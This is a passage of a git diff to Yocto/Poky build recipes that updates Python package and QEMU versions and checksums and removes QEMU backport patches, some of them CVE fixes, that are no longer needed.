-SRC_URI[sha256sum] = "fb0bd5435b3200c602b5bf61d2d43c2f13c02e29c1707567ae7fbc514eb9faf2"
+SRC_URI[sha256sum] = "1fcaa041308d01f14575f6d0d2ea4b75a3e2871fe4f9c694976f908768e14174"
do_install:append() {
rm -f ${D}/${bindir}/pip
diff --git a/poky/meta/recipes-devtools/python/python3-poetry-core_1.7.0.bb b/poky/meta/recipes-devtools/python/python3-poetry-core_1.8.1.bb
index 40b6355f4b..fcb6d30ee0 100644
--- a/poky/meta/recipes-devtools/python/python3-poetry-core_1.7.0.bb
+++ b/poky/meta/recipes-devtools/python/python3-poetry-core_1.8.1.bb
@@ -4,21 +4,18 @@ HOMEPAGE = "https://github.com/python-poetry/poetry-core"
BUGTRACKER = "https://github.com/python-poetry/poetry-core"
CHANGELOG = "https://github.com/python-poetry/poetry-core/blob/master/CHANGELOG.md"
-LICENSE = "Apache-2.0 & BSD-2-Clause & MIT"
+LICENSE = "Apache-2.0 & BSD-2-Clause & BSD-3-Clause & MIT"
LIC_FILES_CHKSUM = "\
file://LICENSE;md5=78c39cfd009863ae44237a7ab1f9cedc \
- file://src/poetry/core/_vendor/attr/_version_info.py;beginline=1;endline=1;md5=b2dccaa94b3629a08bfb4f983cad6f89 \
- file://src/poetry/core/_vendor/attrs/LICENSE;md5=5e55731824cf9205cfabeab9a0600887 \
- file://src/poetry/core/_vendor/jsonschema/COPYING;md5=7a60a81c146ec25599a3e1dabb8610a8 \
+ file://src/poetry/core/_vendor/fastjsonschema/LICENSE;md5=18950e8362b69c0c617b42b8bd8e7532 \
file://src/poetry/core/_vendor/lark/LICENSE;md5=fcfbf1e2ecc0f37acbb5871aa0267500 \
file://src/poetry/core/_vendor/packaging/LICENSE;md5=faadaedca9251a90b205c9167578ce91 \
file://src/poetry/core/_vendor/packaging/LICENSE.APACHE;md5=2ee41112a44fe7014dce33e26468ba93 \
file://src/poetry/core/_vendor/packaging/LICENSE.BSD;md5=7bef9bf4a8e4263634d0597e7ba100b8 \
- file://src/poetry/core/_vendor/pyrsistent/LICENSE.mit;md5=b695eb9c6e7a6fb1b1bc2d193c42776e \
file://src/poetry/core/_vendor/tomli/LICENSE;md5=aaaaf0879d17df0110d1aa8c8c9f46f5 \
"
-SRC_URI[sha256sum] = "8f679b83bd9c820082637beca1204124d5d2a786e4818da47ec8acefd0353b74"
+SRC_URI[sha256sum] = "67a76c671da2a70e55047cddda83566035b701f7e463b32a2abfeac6e2a16376"
inherit python_poetry_core pypi
PYPI_ARCHIVE_NAME = "poetry_core-${PV}.${PYPI_PACKAGE_EXT}"
diff --git a/poky/meta/recipes-devtools/python/python3-psutil_5.9.5.bb b/poky/meta/recipes-devtools/python/python3-psutil_5.9.6.bb
index c84e2225b8..df4f776b7b 100644
--- a/poky/meta/recipes-devtools/python/python3-psutil_5.9.5.bb
+++ b/poky/meta/recipes-devtools/python/python3-psutil_5.9.6.bb
@@ -3,7 +3,7 @@ LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://LICENSE;md5=a9c72113a843d0d732a0ac1c200d81b1"
HOMEPAGE = "https://pypi.org/project/psutil/"
-SRC_URI[sha256sum] = "5410638e4df39c54d957fc51ce03048acd8e6d60abc0f5107af51e5fb566eb3c"
+SRC_URI[sha256sum] = "e4b92ddcd7dd4cdd3f900180ea1e104932c7bce234fb88976e2a3b296441225a"
inherit pypi setuptools3
diff --git a/poky/meta/recipes-devtools/python/python3-pycairo_1.24.0.bb b/poky/meta/recipes-devtools/python/python3-pycairo_1.25.1.bb
index 8059750de0..1599f6d39e 100644
--- a/poky/meta/recipes-devtools/python/python3-pycairo_1.24.0.bb
+++ b/poky/meta/recipes-devtools/python/python3-pycairo_1.25.1.bb
@@ -13,7 +13,7 @@ DEPENDS = "cairo python3"
SRC_URI = "${GITHUB_BASE_URI}/download/v${PV}/pycairo-${PV}.tar.gz"
GITHUB_BASE_URI = "https://github.com/pygobject/pycairo/releases/"
-SRC_URI[sha256sum] = "1444d52f1bb4cc79a4a0c0fe2ccec4bd78ff885ab01ebe1c0f637d8392bcafb6"
+SRC_URI[sha256sum] = "7e2be4fbc3b4536f16db7a11982cbf713e75069a4d73d44fe5a49b68423f5c0c"
S = "${WORKDIR}/pycairo-${PV}"
diff --git a/poky/meta/recipes-devtools/python/python3-pygobject_3.46.0.bb b/poky/meta/recipes-devtools/python/python3-pygobject_3.46.0.bb
index 28129fd66a..73a393051a 100644
--- a/poky/meta/recipes-devtools/python/python3-pygobject_3.46.0.bb
+++ b/poky/meta/recipes-devtools/python/python3-pygobject_3.46.0.bb
@@ -5,7 +5,6 @@ SECTION = "devel/python"
LICENSE = "LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=a916467b91076e631dd8edb7424769c7"
-GNOMEBASEBUILDCLASS = "meson"
GIR_MESON_OPTION = ""
inherit gnomebase setuptools3-base gobject-introspection upstream-version-is-even
diff --git a/poky/meta/recipes-devtools/python/python3-pyopenssl_23.2.0.bb b/poky/meta/recipes-devtools/python/python3-pyopenssl_23.3.0.bb
index 86ae406ffb..cdcae48d60 100644
--- a/poky/meta/recipes-devtools/python/python3-pyopenssl_23.2.0.bb
+++ b/poky/meta/recipes-devtools/python/python3-pyopenssl_23.3.0.bb
@@ -5,7 +5,7 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57"
DEPENDS += "openssl ${PYTHON_PN}-cryptography"
-SRC_URI[sha256sum] = "276f931f55a452e7dea69c7173e984eb2a4407ce413c918aa34b55f82f9b8bac"
+SRC_URI[sha256sum] = "6b2cba5cc46e822750ec3e5a81ee12819850b11303630d575e98108a079c2b12"
PYPI_PACKAGE = "pyOpenSSL"
inherit pypi setuptools3
diff --git a/poky/meta/recipes-devtools/python/python3-pyrsistent_0.19.3.bb b/poky/meta/recipes-devtools/python/python3-pyrsistent_0.20.0.bb
index 05654c348d..9661f1474e 100644
--- a/poky/meta/recipes-devtools/python/python3-pyrsistent_0.19.3.bb
+++ b/poky/meta/recipes-devtools/python/python3-pyrsistent_0.20.0.bb
@@ -1,9 +1,9 @@
SUMMARY = "Persistent/Immutable/Functional data structures for Python"
HOMEPAGE = "https://github.com/tobgu/pyrsistent"
LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE.mit;md5=b695eb9c6e7a6fb1b1bc2d193c42776e"
+LIC_FILES_CHKSUM = "file://LICENSE.mit;md5=f798dc4222a29fea881fa998cdf4a8c8"
-SRC_URI[sha256sum] = "1a2994773706bbb4995c31a97bc94f1418314923bd1048c6d964837040376440"
+SRC_URI[sha256sum] = "4c48f78f62ab596c679086084d0dd13254ae4f3d6c72a83ffdf5ebdef8f265a4"
inherit pypi python_setuptools_build_meta
diff --git a/poky/meta/recipes-devtools/python/python3-pytest_7.4.2.bb b/poky/meta/recipes-devtools/python/python3-pytest_7.4.3.bb
index 710aa51716..6fa0febd88 100644
--- a/poky/meta/recipes-devtools/python/python3-pytest_7.4.2.bb
+++ b/poky/meta/recipes-devtools/python/python3-pytest_7.4.3.bb
@@ -5,7 +5,7 @@ DESCRIPTION = "The pytest framework makes it easy to write small tests, yet scal
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=bd27e41b6550fe0fc45356d1d81ee37c"
-SRC_URI[sha256sum] = "a766259cfab564a2ad52cb1aae1b881a75c3eb7e34ca3779697c23ed47c47069"
+SRC_URI[sha256sum] = "d989d136982de4e3b29dabcc838ad581c64e8ed52c11fbe86ddebd9da0818cd5"
DEPENDS += "python3-setuptools-scm-native"
diff --git a/poky/meta/recipes-devtools/python/python3-ruamel-yaml_0.17.32.bb b/poky/meta/recipes-devtools/python/python3-ruamel-yaml_0.17.35.bb
index 4b5e77e6e3..1760fec7ee 100644
--- a/poky/meta/recipes-devtools/python/python3-ruamel-yaml_0.17.32.bb
+++ b/poky/meta/recipes-devtools/python/python3-ruamel-yaml_0.17.35.bb
@@ -8,7 +8,7 @@ PYPI_PACKAGE = "ruamel.yaml"
inherit pypi setuptools3
-SRC_URI[sha256sum] = "ec939063761914e14542972a5cba6d33c23b0859ab6342f61cf070cfc600efc2"
+SRC_URI[sha256sum] = "801046a9caacb1b43acc118969b49b96b65e8847f29029563b29ac61d02db61b"
RDEPENDS:${PN} += "\
${PYTHON_PN}-shell \
diff --git a/poky/meta/recipes-devtools/python/python3-setuptools-rust_1.7.0.bb b/poky/meta/recipes-devtools/python/python3-setuptools-rust_1.8.1.bb
index 6392a4dead..db5c6c449c 100644
--- a/poky/meta/recipes-devtools/python/python3-setuptools-rust_1.7.0.bb
+++ b/poky/meta/recipes-devtools/python/python3-setuptools-rust_1.8.1.bb
@@ -12,7 +12,7 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=011cd92e702dd9e6b1a26157b6fd53f5"
SRC_URI = "${PYPI_SRC_URI} \
https://files.pythonhosted.org/packages/67/08/e1aa2c582c62ac76e4d60f8e454bd3bba933781a06a88b4e38797445822a/setuptools-rust-${PV}.tar.gz \
"
-SRC_URI[sha256sum] = "c7100999948235a38ae7e555fe199aa66c253dc384b125f5d85473bf81eae3a3"
+SRC_URI[sha256sum] = "94b1dd5d5308b3138d5b933c3a2b55e6d6927d1a22632e509fcea9ddd0f7e486"
inherit cargo pypi python_setuptools_build_meta
diff --git a/poky/meta/recipes-devtools/python/python3-setuptools-scm_7.1.0.bb b/poky/meta/recipes-devtools/python/python3-setuptools-scm_8.0.4.bb
index bb13c65460..5467b793ce 100644
--- a/poky/meta/recipes-devtools/python/python3-setuptools-scm_7.1.0.bb
+++ b/poky/meta/recipes-devtools/python/python3-setuptools-scm_8.0.4.bb
@@ -1,12 +1,13 @@
SUMMARY = "the blessed package to manage your versions by scm tags"
HOMEPAGE = "https://pypi.org/project/setuptools-scm/"
-DESCRIPTION = "setuptools_scm handles managing your Python package versions in SCM metadata instead of declaring them as the version argument or in a SCM managed file."
+DESCRIPTION = "setuptools_scm handles managing your Python package \
+versions in SCM metadata instead of declaring them as the version \
+argument or in a SCM managed file."
LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://PKG-INFO;beginline=8;endline=8;md5=8227180126797a0148f94f483f3e1489"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=838c366f69b72c5df05c96dff79b35f2"
-SRC_URI[sha256sum] = "6c508345a771aad7d56ebff0e70628bf2b0ec7573762be9960214730de278f27"
+SRC_URI[sha256sum] = "b5f43ff6800669595193fd09891564ee9d1d7dcb196cab4b2506d53a2e1c95c7"
-PYPI_PACKAGE = "setuptools_scm"
inherit pypi python_setuptools_build_meta
UPSTREAM_CHECK_REGEX = "scm-(?P<pver>.*)\.tar"
diff --git a/poky/meta/recipes-devtools/python/python3-spdx-tools_0.8.1.bb b/poky/meta/recipes-devtools/python/python3-spdx-tools_0.8.2.bb
index f58a138430..53263ca032 100644
--- a/poky/meta/recipes-devtools/python/python3-spdx-tools_0.8.1.bb
+++ b/poky/meta/recipes-devtools/python/python3-spdx-tools_0.8.2.bb
@@ -4,7 +4,7 @@ HOMEPAGE = "https://github.com/spdx/tools-python"
LICENSE = "Apache-2.0"
LIC_FILES_CHKSUM = "file://LICENSE;md5=dc7f21ccff0f672f2a7cd6f412ae627d"
-SRC_URI[sha256sum] = "c83652cd65b5726058dcbdaab85839dbe484c43ea6f61046137516aa1b8428ae"
+SRC_URI[sha256sum] = "aea4ac9c2c375e7f439b1cef5ff32ef34914c083de0f61e08ed67cd3d9deb2a9"
BBCLASSEXTEND = "native nativesdk"
diff --git a/poky/meta/recipes-devtools/python/python3-testtools_2.6.0.bb b/poky/meta/recipes-devtools/python/python3-testtools_2.7.1.bb
index 79e46a02de..79e46a02de 100644
--- a/poky/meta/recipes-devtools/python/python3-testtools_2.6.0.bb
+++ b/poky/meta/recipes-devtools/python/python3-testtools_2.7.1.bb
diff --git a/poky/meta/recipes-devtools/python/python3-trove-classifiers_2023.9.19.bb b/poky/meta/recipes-devtools/python/python3-trove-classifiers_2023.11.14.bb
index aa062f659b..a6c7e95c51 100644
--- a/poky/meta/recipes-devtools/python/python3-trove-classifiers_2023.9.19.bb
+++ b/poky/meta/recipes-devtools/python/python3-trove-classifiers_2023.11.14.bb
@@ -3,7 +3,7 @@ HOMEPAGE = "https://github.com/pypa/trove-classifiers"
LICENSE = "Apache-2.0"
LIC_FILES_CHKSUM = "file://LICENSE;md5=86d3f3a95c324c9479bd8986968f4327"
-SRC_URI[sha256sum] = "3e700af445c802f251ce2b741ee78d2e5dfa5ab8115b933b89ca631b414691c9"
+SRC_URI[sha256sum] = "64b5e78305a5de347f2cd7ec8c12d704a3ef0cb85cc10c0ca5f73488d1c201f8"
inherit pypi python_setuptools_build_meta ptest
diff --git a/poky/meta/recipes-devtools/python/python3-urllib3_2.0.5.bb b/poky/meta/recipes-devtools/python/python3-urllib3_2.0.7.bb
index 9c15791d34..c286838086 100644
--- a/poky/meta/recipes-devtools/python/python3-urllib3_2.0.5.bb
+++ b/poky/meta/recipes-devtools/python/python3-urllib3_2.0.7.bb
@@ -3,7 +3,7 @@ HOMEPAGE = "https://github.com/shazow/urllib3"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=52d273a3054ced561275d4d15260ecda"
-SRC_URI[sha256sum] = "13abf37382ea2ce6fb744d4dad67838eec857c9f4f57009891805e0b5e123594"
+SRC_URI[sha256sum] = "c97dfde1f7bd43a71c8d2a58e369e9b2bf692d1334ea9f9cae55add7d0dd0f84"
inherit pypi python_hatchling
diff --git a/poky/meta/recipes-devtools/python/python3-wcwidth_0.2.6.bb b/poky/meta/recipes-devtools/python/python3-wcwidth_0.2.9.bb
index fbd008c13d..983852d07d 100644
--- a/poky/meta/recipes-devtools/python/python3-wcwidth_0.2.6.bb
+++ b/poky/meta/recipes-devtools/python/python3-wcwidth_0.2.9.bb
@@ -4,7 +4,7 @@ HOMEPAGE = "https://github.com/jquast/wcwidth"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=b15979c39a2543892fca8cd86b4b52cb"
-SRC_URI[sha256sum] = "a5220780a404dbe3353789870978e472cfe477761f06ee55077256e509b156d0"
+SRC_URI[sha256sum] = "a675d1a4a2d24ef67096a04b85b02deeecd8e226f57b5e3a72dbb9ed99d27da8"
inherit pypi setuptools3 ptest
diff --git a/poky/meta/recipes-devtools/python/python3-wheel_0.41.2.bb b/poky/meta/recipes-devtools/python/python3-wheel_0.41.3.bb
index d11c6a857a..bdba98b8d5 100644
--- a/poky/meta/recipes-devtools/python/python3-wheel_0.41.2.bb
+++ b/poky/meta/recipes-devtools/python/python3-wheel_0.41.3.bb
@@ -4,7 +4,7 @@ SECTION = "devel/python"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=7ffb0db04527cfe380e4f2726bd05ebf"
-SRC_URI[sha256sum] = "0c5ac5ff2afb79ac23ab82bab027a0be7b5dbcf2e54dc50efe4bf507de1f7985"
+SRC_URI[sha256sum] = "4d4987ce51a49370ea65c0bfd2234e8ce80a12780820d9dc462597a6e60d0841"
inherit python_flit_core pypi
diff --git a/poky/meta/recipes-devtools/qemu/qemu-native_8.1.0.bb b/poky/meta/recipes-devtools/qemu/qemu-native_8.1.2.bb
index 73a0f63f2b..73a0f63f2b 100644
--- a/poky/meta/recipes-devtools/qemu/qemu-native_8.1.0.bb
+++ b/poky/meta/recipes-devtools/qemu/qemu-native_8.1.2.bb
diff --git a/poky/meta/recipes-devtools/qemu/qemu-system-native_8.1.0.bb b/poky/meta/recipes-devtools/qemu/qemu-system-native_8.1.2.bb
index 558a416f7b..558a416f7b 100644
--- a/poky/meta/recipes-devtools/qemu/qemu-system-native_8.1.0.bb
+++ b/poky/meta/recipes-devtools/qemu/qemu-system-native_8.1.2.bb
diff --git a/poky/meta/recipes-devtools/qemu/qemu.inc b/poky/meta/recipes-devtools/qemu/qemu.inc
index b331f87c0d..5ab2cb83b4 100644
--- a/poky/meta/recipes-devtools/qemu/qemu.inc
+++ b/poky/meta/recipes-devtools/qemu/qemu.inc
@@ -29,18 +29,15 @@ SRC_URI = "https://download.qemu.org/${BPN}-${PV}.tar.xz \
file://0009-Define-MAP_SYNC-and-MAP_SHARED_VALIDATE-on-needed-li.patch \
file://0010-hw-pvrdma-Protect-against-buggy-or-malicious-guest-d.patch \
file://0002-linux-user-Replace-use-of-lfs64-related-functions-an.patch \
- file://0001-softmmu-Assert-data-in-bounds-in-iotlb_to_section.patch \
- file://0001-softmmu-Use-async_run_on_cpu-in-tcg_commit.patch \
file://fixedmeson.patch \
file://fixmips.patch \
file://qemu-guest-agent.init \
file://qemu-guest-agent.udev \
- file://CVE-2023-42467.patch \
"
UPSTREAM_CHECK_REGEX = "qemu-(?P<pver>\d+(\.\d+)+)\.tar"
-SRC_URI[sha256sum] = "710c101198e334d4762eef65f649bc43fa8a5dd75303554b8acfec3eb25f0e55"
+SRC_URI[sha256sum] = "541526a764576eb494d2ff5ec46aeb253e62ea29035d1c23c0a8af4e6cd4f087"
SRC_URI:append:class-target = " file://cross.patch"
SRC_URI:append:class-nativesdk = " file://cross.patch"
@@ -56,6 +53,9 @@ CVE_STATUS[CVE-2018-18438] = "disputed: The issues identified by this CVE were d
# https://bugzilla.redhat.com/show_bug.cgi?id=2167423
CVE_STATUS[CVE-2023-0664] = "not-applicable-platform: Issue only applies on Windows"
+# As per https://bugzilla.redhat.com/show_bug.cgi?id=2203387
+CVE_STATUS[CVE-2023-2680] = "not-applicable-platform: RHEL specific issue."
+
COMPATIBLE_HOST:mipsarchn32 = "null"
COMPATIBLE_HOST:mipsarchn64 = "null"
COMPATIBLE_HOST:riscv32 = "null"
diff --git a/poky/meta/recipes-devtools/qemu/qemu/0001-CVE-2023-40360-hw-nvme-fix-null-pointer-access-in-di.patch b/poky/meta/recipes-devtools/qemu/qemu/0001-CVE-2023-40360-hw-nvme-fix-null-pointer-access-in-di.patch
deleted file mode 100644
index 731b0281f4..0000000000
--- a/poky/meta/recipes-devtools/qemu/qemu/0001-CVE-2023-40360-hw-nvme-fix-null-pointer-access-in-di.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-From 83dd3da9fac872fac9739b9dcb96232c93675824 Mon Sep 17 00:00:00 2001
-From: Klaus Jensen <k.jensen@samsung.com>
-Date: Tue, 8 Aug 2023 17:16:13 +0200
-Subject: [PATCH] CVE-2023-40360 hw/nvme: fix null pointer access in directive
- receive
-
-nvme_directive_receive() does not check if an endurance group has been
-configured (set) prior to testing if flexible data placement is enabled
-or not.
-
-Fix this.
-
-CVE: CVE-2023-40360
-Upstream-Status: Backport [https://gitlab.com/birkelund/qemu/-/commit/6c8f8456cb0b239812dee5211881426496da7b98]
-Cc: qemu-stable@nongnu.org
-Resolves: https://gitlab.com/qemu-project/qemu/-/issues/1815
-Fixes: 73064edfb864 ("hw/nvme: flexible data placement emulation")
-Reviewed-by: Jesper Wendel Devantier <j.devantier@samsung.com>
-Signed-off-by: Klaus Jensen <k.jensen@samsung.com>
----
- hw/nvme/ctrl.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/hw/nvme/ctrl.c b/hw/nvme/ctrl.c
-index 2097fb131..36a2846c3 100644
---- a/hw/nvme/ctrl.c
-+++ b/hw/nvme/ctrl.c
-@@ -6862,7 +6862,7 @@ static uint16_t nvme_directive_receive(NvmeCtrl *n, NvmeRequest *req)
- case NVME_DIRECTIVE_IDENTIFY:
- switch (doper) {
- case NVME_DIRECTIVE_RETURN_PARAMS:
-- if (ns->endgrp->fdp.enabled) {
-+ if (ns->endgrp && ns->endgrp->fdp.enabled) {
- id.supported |= 1 << NVME_DIRECTIVE_DATA_PLACEMENT;
- id.enabled |= 1 << NVME_DIRECTIVE_DATA_PLACEMENT;
- id.persistent |= 1 << NVME_DIRECTIVE_DATA_PLACEMENT;
---
-2.42.0
-
diff --git a/poky/meta/recipes-devtools/qemu/qemu/0001-softmmu-Assert-data-in-bounds-in-iotlb_to_section.patch b/poky/meta/recipes-devtools/qemu/qemu/0001-softmmu-Assert-data-in-bounds-in-iotlb_to_section.patch
deleted file mode 100644
index 7380e16ab3..0000000000
--- a/poky/meta/recipes-devtools/qemu/qemu/0001-softmmu-Assert-data-in-bounds-in-iotlb_to_section.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From 86e4f93d827d3c1efd00cd8a906e38a2c0f2b5bc Mon Sep 17 00:00:00 2001
-From: Richard Henderson <richard.henderson@linaro.org>
-Date: Fri, 25 Aug 2023 14:06:58 -0700
-Subject: [PATCH] softmmu: Assert data in bounds in iotlb_to_section
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-Acked-by: Alex Bennée <alex.bennee@linaro.org>
-Suggested-by: Alex Bennée <alex.bennee@linaro.org>
-Signed-off-by: Richard Henderson <richard.henderson@linaro.org>
-
-Upstream-Status: Backport [https://gitlab.com/qemu-project/qemu/-/commit/86e4f93d827d3c1efd00cd8a906e38a2c0f2b5bc]
----
- softmmu/physmem.c | 10 ++++++++--
- 1 file changed, 8 insertions(+), 2 deletions(-)
-
-diff --git a/softmmu/physmem.c b/softmmu/physmem.c
-index 3df73542e1..7597dc1c39 100644
---- a/softmmu/physmem.c
-+++ b/softmmu/physmem.c
-@@ -2413,9 +2413,15 @@ MemoryRegionSection *iotlb_to_section(CPUState *cpu,
- int asidx = cpu_asidx_from_attrs(cpu, attrs);
- CPUAddressSpace *cpuas = &cpu->cpu_ases[asidx];
- AddressSpaceDispatch *d = qatomic_rcu_read(&cpuas->memory_dispatch);
-- MemoryRegionSection *sections = d->map.sections;
-+ int section_index = index & ~TARGET_PAGE_MASK;
-+ MemoryRegionSection *ret;
-+
-+ assert(section_index < d->map.sections_nb);
-+ ret = d->map.sections + section_index;
-+ assert(ret->mr);
-+ assert(ret->mr->ops);
-
-- return &sections[index & ~TARGET_PAGE_MASK];
-+ return ret;
- }
-
- static void io_mem_init(void)
---
-2.34.1
-
diff --git a/poky/meta/recipes-devtools/qemu/qemu/0001-softmmu-Use-async_run_on_cpu-in-tcg_commit.patch b/poky/meta/recipes-devtools/qemu/qemu/0001-softmmu-Use-async_run_on_cpu-in-tcg_commit.patch
deleted file mode 100644
index 8289b45991..0000000000
--- a/poky/meta/recipes-devtools/qemu/qemu/0001-softmmu-Use-async_run_on_cpu-in-tcg_commit.patch
+++ /dev/null
@@ -1,157 +0,0 @@
-From 0d58c660689f6da1e3feff8a997014003d928b3b Mon Sep 17 00:00:00 2001
-From: Richard Henderson <richard.henderson@linaro.org>
-Date: Fri, 25 Aug 2023 16:13:17 -0700
-Subject: [PATCH] softmmu: Use async_run_on_cpu in tcg_commit
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-After system startup, run the update to memory_dispatch
-and the tlb_flush on the cpu. This eliminates a race,
-wherein a running cpu sees the memory_dispatch change
-but has not yet seen the tlb_flush.
-
-Since the update now happens on the cpu, we need not use
-qatomic_rcu_read to protect the read of memory_dispatch.
-
-Resolves: https://gitlab.com/qemu-project/qemu/-/issues/1826
-Resolves: https://gitlab.com/qemu-project/qemu/-/issues/1834
-Resolves: https://gitlab.com/qemu-project/qemu/-/issues/1846
-Tested-by: Alex Bennée <alex.bennee@linaro.org>
-Reviewed-by: Alex Bennée <alex.bennee@linaro.org>
-Signed-off-by: Richard Henderson <richard.henderson@linaro.org>
-
-Upstream-Status: Backport [0d58c660689f6da1e3feff8a997014003d928b3b]
----
- accel/tcg/cpu-exec-common.c | 30 ----------------------------
- include/exec/cpu-common.h | 1 -
- softmmu/physmem.c | 40 +++++++++++++++++++++++++++----------
- 3 files changed, 29 insertions(+), 42 deletions(-)
-
-Index: qemu-8.1.0/accel/tcg/cpu-exec-common.c
-===================================================================
---- qemu-8.1.0.orig/accel/tcg/cpu-exec-common.c
-+++ qemu-8.1.0/accel/tcg/cpu-exec-common.c
-@@ -33,36 +33,6 @@ void cpu_loop_exit_noexc(CPUState *cpu)
- cpu_loop_exit(cpu);
- }
-
--#if defined(CONFIG_SOFTMMU)
--void cpu_reloading_memory_map(void)
--{
-- if (qemu_in_vcpu_thread() && current_cpu->running) {
-- /* The guest can in theory prolong the RCU critical section as long
-- * as it feels like. The major problem with this is that because it
-- * can do multiple reconfigurations of the memory map within the
-- * critical section, we could potentially accumulate an unbounded
-- * collection of memory data structures awaiting reclamation.
-- *
-- * Because the only thing we're currently protecting with RCU is the
-- * memory data structures, it's sufficient to break the critical section
-- * in this callback, which we know will get called every time the
-- * memory map is rearranged.
-- *
-- * (If we add anything else in the system that uses RCU to protect
-- * its data structures, we will need to implement some other mechanism
-- * to force TCG CPUs to exit the critical section, at which point this
-- * part of this callback might become unnecessary.)
-- *
-- * This pair matches cpu_exec's rcu_read_lock()/rcu_read_unlock(), which
-- * only protects cpu->as->dispatch. Since we know our caller is about
-- * to reload it, it's safe to split the critical section.
-- */
-- rcu_read_unlock();
-- rcu_read_lock();
-- }
--}
--#endif
--
- void cpu_loop_exit(CPUState *cpu)
- {
- /* Undo the setting in cpu_tb_exec. */
-Index: qemu-8.1.0/include/exec/cpu-common.h
-===================================================================
---- qemu-8.1.0.orig/include/exec/cpu-common.h
-+++ qemu-8.1.0/include/exec/cpu-common.h
-@@ -133,7 +133,6 @@ static inline void cpu_physical_memory_w
- {
- cpu_physical_memory_rw(addr, (void *)buf, len, true);
- }
--void cpu_reloading_memory_map(void);
- void *cpu_physical_memory_map(hwaddr addr,
- hwaddr *plen,
- bool is_write);
-Index: qemu-8.1.0/softmmu/physmem.c
-===================================================================
---- qemu-8.1.0.orig/softmmu/physmem.c
-+++ qemu-8.1.0/softmmu/physmem.c
-@@ -680,8 +680,7 @@ address_space_translate_for_iotlb(CPUSta
- IOMMUTLBEntry iotlb;
- int iommu_idx;
- hwaddr addr = orig_addr;
-- AddressSpaceDispatch *d =
-- qatomic_rcu_read(&cpu->cpu_ases[asidx].memory_dispatch);
-+ AddressSpaceDispatch *d = cpu->cpu_ases[asidx].memory_dispatch;
-
- for (;;) {
- section = address_space_translate_internal(d, addr, &addr, plen, false);
-@@ -2412,7 +2411,7 @@ MemoryRegionSection *iotlb_to_section(CP
- {
- int asidx = cpu_asidx_from_attrs(cpu, attrs);
- CPUAddressSpace *cpuas = &cpu->cpu_ases[asidx];
-- AddressSpaceDispatch *d = qatomic_rcu_read(&cpuas->memory_dispatch);
-+ AddressSpaceDispatch *d = cpuas->memory_dispatch;
- int section_index = index & ~TARGET_PAGE_MASK;
- MemoryRegionSection *ret;
-
-@@ -2487,23 +2486,42 @@ static void tcg_log_global_after_sync(Me
- }
- }
-
-+static void tcg_commit_cpu(CPUState *cpu, run_on_cpu_data data)
-+{
-+ CPUAddressSpace *cpuas = data.host_ptr;
-+
-+ cpuas->memory_dispatch = address_space_to_dispatch(cpuas->as);
-+ tlb_flush(cpu);
-+}
-+
- static void tcg_commit(MemoryListener *listener)
- {
- CPUAddressSpace *cpuas;
-- AddressSpaceDispatch *d;
-+ CPUState *cpu;
-
- assert(tcg_enabled());
- /* since each CPU stores ram addresses in its TLB cache, we must
- reset the modified entries */
- cpuas = container_of(listener, CPUAddressSpace, tcg_as_listener);
-- cpu_reloading_memory_map();
-- /* The CPU and TLB are protected by the iothread lock.
-- * We reload the dispatch pointer now because cpu_reloading_memory_map()
-- * may have split the RCU critical section.
-+ cpu = cpuas->cpu;
-+
-+ /*
-+ * Defer changes to as->memory_dispatch until the cpu is quiescent.
-+ * Otherwise we race between (1) other cpu threads and (2) ongoing
-+ * i/o for the current cpu thread, with data cached by mmu_lookup().
-+ *
-+ * In addition, queueing the work function will kick the cpu back to
-+ * the main loop, which will end the RCU critical section and reclaim
-+ * the memory data structures.
-+ *
-+ * That said, the listener is also called during realize, before
-+ * all of the tcg machinery for run-on is initialized: thus halt_cond.
- */
-- d = address_space_to_dispatch(cpuas->as);
-- qatomic_rcu_set(&cpuas->memory_dispatch, d);
-- tlb_flush(cpuas->cpu);
-+ if (cpu->halt_cond) {
-+ async_run_on_cpu(cpu, tcg_commit_cpu, RUN_ON_CPU_HOST_PTR(cpuas));
-+ } else {
-+ tcg_commit_cpu(cpu, RUN_ON_CPU_HOST_PTR(cpuas));
-+ }
- }
-
- static void memory_map_init(void)
diff --git a/poky/meta/recipes-devtools/qemu/qemu/CVE-2023-42467.patch b/poky/meta/recipes-devtools/qemu/qemu/CVE-2023-42467.patch
deleted file mode 100644
index 86ab7cf81a..0000000000
--- a/poky/meta/recipes-devtools/qemu/qemu/CVE-2023-42467.patch
+++ /dev/null
@@ -1,49 +0,0 @@
-From 7cfcc79b0ab800959716738aff9419f53fc68c9c Mon Sep 17 00:00:00 2001
-From: Thomas Huth <thuth@redhat.com>
-Date: Thu, 5 Oct 2023 06:01:10 +0000
-Subject: [PATCH] hw/scsi/scsi-disk: Disallow block sizes smaller than 512
- [CVE-2023-42467]
-
-We are doing things like
-
- nb_sectors /= (s->qdev.blocksize / BDRV_SECTOR_SIZE);
-
-in the code here (e.g. in scsi_disk_emulate_mode_sense()), so if
-the blocksize is smaller than BDRV_SECTOR_SIZE (=512), this crashes
-with a division by 0 exception. Thus disallow block sizes of 256
-bytes to avoid this situation.
-
-Resolves: https://gitlab.com/qemu-project/qemu/-/issues/1813
-CVE: 2023-42467
-Signed-off-by: Thomas Huth <thuth@redhat.com>
-Message-ID: <20230925091854.49198-1-thuth@redhat.com>
-Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
-
-CVE: CVE-2023-42467
-
